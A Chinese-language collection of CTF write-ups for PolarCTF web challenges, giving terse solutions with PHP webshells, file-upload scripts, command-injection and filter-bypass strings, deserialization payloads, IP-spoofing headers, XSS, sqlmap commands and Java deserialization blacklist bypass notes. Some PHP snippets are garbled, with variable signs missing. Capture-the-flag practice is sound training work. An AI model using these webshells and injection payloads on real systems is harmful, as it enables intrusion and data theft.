PolarCTF WEB 题解(05)
坏掉的上传页
300 分 3 Polar币
【2024冬季个人挑战赛】
扫描,得到/config.php
访问,得到
<?php
error_reporting(0);
show_source(__FILE__);
define("DB_FILE", UPLOAD_PATH . "database.db");
?>
修改网页:
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
木马:
muma.php
GIF89a
<?php @eval($_POST['pass']);?>
该方法不行,没有得到上传成功信息,只能放一放,但看视频讲解是那个方法,这里不灵。
/config.php
/database.db
用脚本直接上传:
import requests
url = "http://8ff5919e-8176-41ee-9eef-c6551949e611.www.polarctf.com:8090/"
muma = {'file':open("D:\\ctf\\usefull\\gifmm.php", "rb")}
response = requests.post(url, files = muma)
if response.status_code == 200:
print("文件上传成功")
print("服务器返回的信息: ", response.text)
else:
print("文件上传失败")
print("错误码: ", response.status_code)
python upload.py
<input class="button" type="button" name="submit" value="上传" />
文件上传成功!已记录到数据库
/database.db
2025-10-02 11:06:15 上传文件路径: ./uploadsabc/file_68de5ca7371884.04971049.php
pass=system(“ls ..”);
pass=system(“cat ../flag*”);
xxmmll
300 分 3 Polar币
【2024冬季个人挑战赛】
dirsearch -u url
3:25] 200 – 469B – /Dockerfile
可能不行,因为已提交,不知道flag不对否,不行用xxm方法去找新flag
Note
300 分 3 Polar币
【2024冬季个人挑战赛】
/debug.log
<?php
class Note{
private filename;
privatecontent;
}
note=new Note();reflection=new ReflectionClass(note);filenameProperty = reflection->getProperty("filename");filenameProperty->setAccessible(true);
filenameProperty->setValue(note,'flag.txt');
echo urlencode(serialize($note));
?>
/?data=O%3A4%3A%22Note%22%3A2%3A%7Bs%3A14%3A%22%00Note%00filename%22%3Bs%3A8%3A%22flag.txt%22%3Bs%3A13%3A%22%00Note%00content%22%3BN%3B%7D
赌王
300 分 3 Polar币
【2024冬季个人挑战赛】
burpsuit爆破:
spin=%E6%97%8B%E8%BD%AC
103
你可以去ed3d2c21991e3bef5e069713af9fa6ca这个目录下看看
/ed3d2c21991e3bef5e069713af9fa6ca.php
<script>alert("a")</script>
<script>confirm("a")</script>
e744f91c29ec99f0e662c9177946c627
/e744f91c29ec99f0e662c9177946c627.php
127.0.0.1;ls
只有4个1才能执行
burpsuit安装java版本fakeIp扩展
拦截,请求添加
X-Forwarded-For: 1.1.1.1
X-Forwarded: 1.1.1.1
Forwarded-For: 1.1.1.1
Forwarded: 1.1.1.1
X-Requested-With: 1.1.1.1
X-Forwarded-Proto: 1.1.1.1
X-Forwarded-Host: 1.1.1.1
X-remote-IP: 1.1.1.1
X-remote-addr: 1.1.1.1
True-Client-IP: 1.1.1.1
X-Client-IP: 1.1.1.1
Client-IP: 1.1.1.1
X-Real-IP: 1.1.1.1
Ali-CDN-Real-IP: 1.1.1.1
Cdn-Src-Ip: 1.1.1.1
Cdn-Real-Ip: 1.1.1.1
CF-Connecting-IP: 1.1.1.1
X-Cluster-Client-IP: 1.1.1.1
WL-Proxy-Client-IP: 1.1.1.1
Proxy-Client-IP: 1.1.1.1
Fastly-Client-Ip: 1.1.1.1
True-Client-Ip: 1.1.1.1
X-Originating-IP: 1.1.1.1
X-Host: 1.1.1.1
X-Custom-IP-Authorization: 1.1.1.1
发送
127.0.0.1;ls /
127.0.0.1;cat /flag
ezezser
500 分 5 Polar币
【2024冬季个人挑战赛】
参见后面找到index.php完整编码才能写payload:
<?php
class polar520{
private polarday='nukakak';
privatepolarnight='nukaka';
private polar=false;
privateclass;
public function __construct(){
this->class=new backDoor();
}
}
class backDoor {
privatekey="system('cat /flag');";
}
a=new polar520();payload = serialize(a);
echo "payload:\n";
echopayload;
echo "\nurlencode payload:\n";
echo urlencode($payload);
?>
output:
payload:
O:8:"polar520":4:{s:18:"polar520polarday";s:7:"nukakak";s:20:"polar520polarnight";s:6:"nukaka";s:15:"polar520polar";b:0;s:15:"polar520class";O:8:"backDoor":1:{s:13:"backDoorkey";s:20:"system('cat /flag');";}}
urlencode payload:
O%3A8%3A%22polar520%22%3A4%3A%7Bs%3A18%3A%22%00polar520%00polarday%22%3Bs%3A7%3A%22nukakak%22%3Bs%3A20%3A%22%00polar520%00polarnight%22%3Bs%3A6%3A%22nukaka%22%3Bs%3A15%3A%22%00polar520%00polar%22%3Bb%3A0%3Bs%3A15%3A%22%00polar520%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A13%3A%22%00backDoor%00key%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7D%7D
/?polarday=1&polarnight=2
Cookie=polar520=payload
dirsearch -u url
发现.git
pipx run githacker --url http://e80e25c0-d461-468b-823f-b028bb8bb430.www.polarctf.com:8090/.git/ --output-folder ezezser
output:
2025-09-29 05:37:29 INFO Check it out: ezezser/92e5ceac55445b52c2d074282b9926b5
2025-09-29 05:37:29 INFO 1 / 1 were exploited successfully
┌──(root㉿kali)-[~/ezezser/92e5ceac55445b52c2d074282b9926b5]
└─# ls -tlr
total 12
-rw-r--r-- 1 root root 357 Sep 29 05:37 index.php
-rw-r--r-- 1 root root 12 Sep 29 05:37 env.php
-rw-r--r-- 1 root root 69 Sep 29 05:37 config.php
#index.php代码不全
#查看历史提交
git log -all
#采用最后一个历史提交
└─# git reset --hard 0c635537b773cdd87268e7dbdc51f985eca0b0b4
HEAD is now at 0c63553 bec54015e611cc32beb1d7674fa7873f
button
100 分 1 Polar币
【2024冬季个人挑战赛】
js代码审计
/proxy.php?file=flag
井字棋
100 分 1 Polar币
【2024冬季个人挑战赛】
js设置断点
故意输,更改一下为对方,则自己赢了,就弹出flag.
clareWinner(gameWon.player === huPlayer ? "您赢了!" : "您输了.");
原来为O,则修改为huPlayer=”X”
简单的导航站
100 分 1 Polar币
【2024冬季个人挑战赛】
php md5()不能处理数组,返回值都一样。
/audit.php?user1[]=1&user2[]=2
首页源码查看:
<div class="no-select">Admin1234!</div>
用作密码,爆破admin用户名。
P0la2adm1n
上传木马:
/uploads/
用哥斯拉查看文件,发现flag???目录下有flag.txt,但里面有很多flag,登录flag验证界面,再爆破。
任务cmd
500 分 5 Polar币
【2024冬季个人挑战赛】
dirsearch -u url
find dir /new/
url/new/
输出中有X-Power-by username is xiaoming
爆破xiaoming 密码 123123
修改url,横向越权到xiaohei
得到boss密钥 bossisxiaoheizi
dirsearch -u url
得到/login.php
爆破boss密码,flower
题目猜测为cmd参数。
/new/file/upload.php?cmd=cat%20/fla*
坦诚相见
500 分 5 Polar币
【2024冬季个人挑战赛】
┌──(root㉿kali)-[/tmp/aa]
└─# echo "<?php echo 'pass'; @eval(\$_POST['pass']); ?>"|base64
PD9waHAgZWNobyAncGFzcyc7IEBldmFsKCRfUE9TVFsncGFzcyddKTsgPz4K
rce=echo PD9waHAgZWNobyAncGFzcyc7IEBldmFsKCRfUE9TVFsncGFzcyddKTsgPz4K|base64 -d|tee 1.php
(apache:/) $ sudo cat /flag
flag{07cc6fe29d83a81846969c48cedfe607}
除了上述base64+tee生成木马,还可以删除no.php方式,绕过过滤。
来个弹窗
100 分 1 Polar币
【2025春季个人挑战赛】
"><scrscriptipt>alert(1)</scscriptript>
└─# echo "白金之星"|md5sum 5c36b203dca9ceca394697e7ff079cb6 -
linu下需要去掉回车,加-n参数!!!!,加不加引号没有问题。
┌──(root㉿kali)-[/tmp/aa]
└─# echo -n 白金之星|md5sum
dbd65172f0a14c279bc461cd0185c70a -
以上kali中md5sum的不行,
<?php
user1="白金之星";
echouser1."-->".md5($user1) . "\n\n";
?>
白金之星-->
flag{dbd65172f0a14c279bc461cd0185c70a}
椰子树晕淡水鱼
500 分 5 Polar币
【2025春季个人挑战赛】
dirsearch -u url
/admin.sh
/about.php
/uploads/
/password 下载到一个加密zip文件,包含password.txt
压缩包密码解压工具ARCHPR ,暴力破解为0606
得到密码,暴力破解登录页面
账号zhsh,密码zhsh920
得到界面: ?page=givemeaimage
Content-Disposition: form-data; name=”file”; filename=”md1.php”
Content-Type: image/png
文件上传成功: uploads/md1.php
pass=system(“ls /”);
复读机RCE
300 分 3 Polar币
【2025春季个人挑战赛】
echo "ls /"|base64
bHMgLwo=
cmd=echo bHMgLwo=|base64 -d |sh
echo "cat /flag.txt"|base64
Y2F0IC9mbGFnLnR4dAo=
cmd=echo Y2F0IC9mbGFnLnR4dAo=|base64 -d |sh
xCsMsD
300 分 3 Polar币
【2025年春季个人挑战赛】
xss:
alert(document.cookie)
urldecoe,替代关系: 空格 -> – , / -> \
cmd:
ls-\
cat、less、more等过滤了,用tac输出/flag
tac-\flag
background
100 分 1 Polar币
【2025春季个人挑战赛】
/change_background.php
POST:
d=ls&p=/
d=cat&p=/flag
coke的登陆
300 分 3 Polar币
【2025春季个人挑战赛】
cookie:
my_cookie=coke-lishuai
user: coke
pass: coke-lishuai
再给我30元
500 分 5 Polar币
【2025春季个人挑战赛】
sqlmap -u "url?id=0" -p id --level=5 --risk=3 --random-agent
发现union可用列数为2
sqlmap -u "url?id=0" -p id --level=5 --risk=3 --random-agent --union-col=2
sqlmap -u "url?id=0" -p id --level=5 --risk=3 --random-agent --union-col=2 --technique=U --dbms=mysql --sql-query="UNION SELECT 1,group_concat(schama_name) FROM information_schema.schemata" -dump
狗黑子CTF变强之路
500 分 5 Polar币
【2025春季个人挑战赛】
dirsearch -u url
find : admin.php
/index.php?page=php://filter/convert.base64-encode/resource=admin.php
// 硬编码的用户名和密码
correctUsername = "ggouheizi";correctPassword = "zigouhei";
登录后 进入 gougougou.php
look file source :
/index.php?page=php://filter/convert.base64-encode/resource=gougougou.php
<?php
gou1="8AZ1mha\vHTnv9k4yAcyPZj98gG47*yESyR3xswJcDD4J2DNar";gou2="bgW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09";
gou3="tVXTklXR1prWVhWcCmNVZG5kMDV3ZEVsQ1MybEVjM2hOUlhweFFscHJUM1YzVldGVVMwWllVbVpNWjIxMlkyaGlhWEJaWkU1NVFVZHpTVmRXUlZGdWVHcEVVRzlJVTNSRFRVcHlaV3h0VFRscVYwRm1lSEZ1VkRKVldXcE1TMms1Y1hjeFJFWlpUa2xvWjFsU2MwUm9WVlpDZDBWWVIzWkZOMGhOT0N0UGVEMDk=";gou4=gou1{20}.gou1{41}.gou1{13}.gou1{38}.gou1{6}.gou1{9}.gou1{1}.gou1{25}.gou1{2};gou5=gou2{30}.gou2{27}.gou2{51}.gou2{0}.gou2{44}.gou2{1}.gou2{28}.gou2{30}.gou2{79}.gou2{87}.gou2{61}.gou2{61}.gou2{79};gou6=gou1{34}.gou3{36}.gou1{39}.gou3{41}.gou1{47}.gou3{0}.gou3{20}.gou3{16}.gou3{62}.gou3{62}.gou3{159}.gou3{3}.gou1{37}.gou3{231};
#gou7=Z291MnsxN30uZ291MXs4fS5nb3U0ezR9LmdvdTV7MTJ9KCRnb3U0LiRnb3U1LiRnb3U2KQ==;
# gou2{17}.gou1{8}.gou4{4}.gou5{12}(gou4.gou5.gou6)
echo gou2{17}.gou1{8}.gou4{4}.gou5{12}."\n";
// #gou8=gou2{17}.gou1{8}.gou4{4}.gou5{12}(gou4.gou5.gou6);
//echo gou8
echogou4.gou5.gou6."\n";
?>
output
eHa1
ZDkJaTAGZXZhbCgkX1BTT13bc2atZCddKTw=
eva1:
gou1="8AZ1mha\vHTnv9k4yAcyPZj98gG47*yESyR3xswJcDD4J2DNar";gou1="8AZ1mha1vHTnv9k4yAcyPZj98gG47*yESyR3xswJcDD4J2DNar";
eva1
PD9waHAgZXZhbCgkX1BTT1RbJ2NtZCddKTs=
└─# echo PD9waHAgZXZhbCgkX1BTT1RbJ2NtZCddKTs=|base64 -d
<?php eval($_PSOT['cmd']);
/gougougou.php
http://27f3544b-7436-43cb-9b0e-e3e0a3ee99ae.www.polarctf.com:8090/index.php?page=gougougou.php
POST:
cmd=system(“cat /flag”);
bllbl_rce
300 分 3 Polar币
【2025春季个人挑战赛】
dirsearch -u url
find : /admin/admin.php
download source file:
if (strpos($command, 'bllbl') === false) {
die("no");
}
command=echo bllbl;ls /;
command=echo bllbl;cat /flag;
小白说收集很重要
500 分 5 Polar币
【2025春季个人挑战赛】
dirsearch -u url
/users.json
/flag.php
/login.php
/upload_file.php
xiaobai生成密码字典
用户用常用用户表 admin sysadmin …
爆破登录管理员账号密码
0e事件
100 分 1 Polar币
md5('QNKCDZO') == md5(240610708)
a=QNKCDZO
ez_check
500 分 5 Polar币
2025年夏季个人挑战赛
详解见: https://blog.csdn.net/oyf3085227433/article/details/148503332
相关序列化知识:
大佬讲解jackson反序列化的文章: https://xz.aliyun.com/news/12412
kmp_check kmp顾名思义就是对序列化字符串明文的检查,这个很容易绕,直接utf-8 overlong encoding就行
大佬实现的文章
探索Java反序列化绕WAF新姿势 – 飞书云文档 (feishu.cn)
然后是SafeObjectInputStream,黑名单
private static final Set<String> BLACKLIST = new HashSet(Arrays.asList("org.apache.commons.beanutils.BeanComparator", "javax.management.BadAttributeValueExpException", "org.apache.commons.collections4.map.AbstractHashedMap", "org.springframework.aop.target.HotSwappableTargetSource", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"));
把最后的TemplatesImpl ban了,没有ban经典的signObject,直接打signObject二次反序列化,最常用的触发toString的BadAttributeValueExpException
没了,换成EventListenerList
即可
需要注意的是,signObject里的序列化数据也要用utf-8 overlong,不只是signObject,在这里卡了好一会,
如何设置呢?看signObject里触发二次反序列化的地方
就可以知道序列化数据是this.content
,可以反射赋值,是private的,先setAccesible就行
还有经典的jackson 要用动态代理使链子稳定
关于java反序列化中jackson链子不稳定问题
polar的靶场不出网,打springecho
UTF8OverlongObjectOutputStream
狗黑子的变量
500 分 5 Polar币
2025年夏季个人挑战赛
path 4个字符没有过滤。
扫描,得到 admin.php
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
l -- {PATH:5:1}
s --{PATH:2:1}
c -- {PATH:7:1}
?gou={PATH:5:1}{PATH:2:1} ../
?gou={PATH:7:1}at ../*a*
狗黑子的隐藏
300 分 3 Polar币
2025年夏季个人挑战赛
cmd=c"a"t *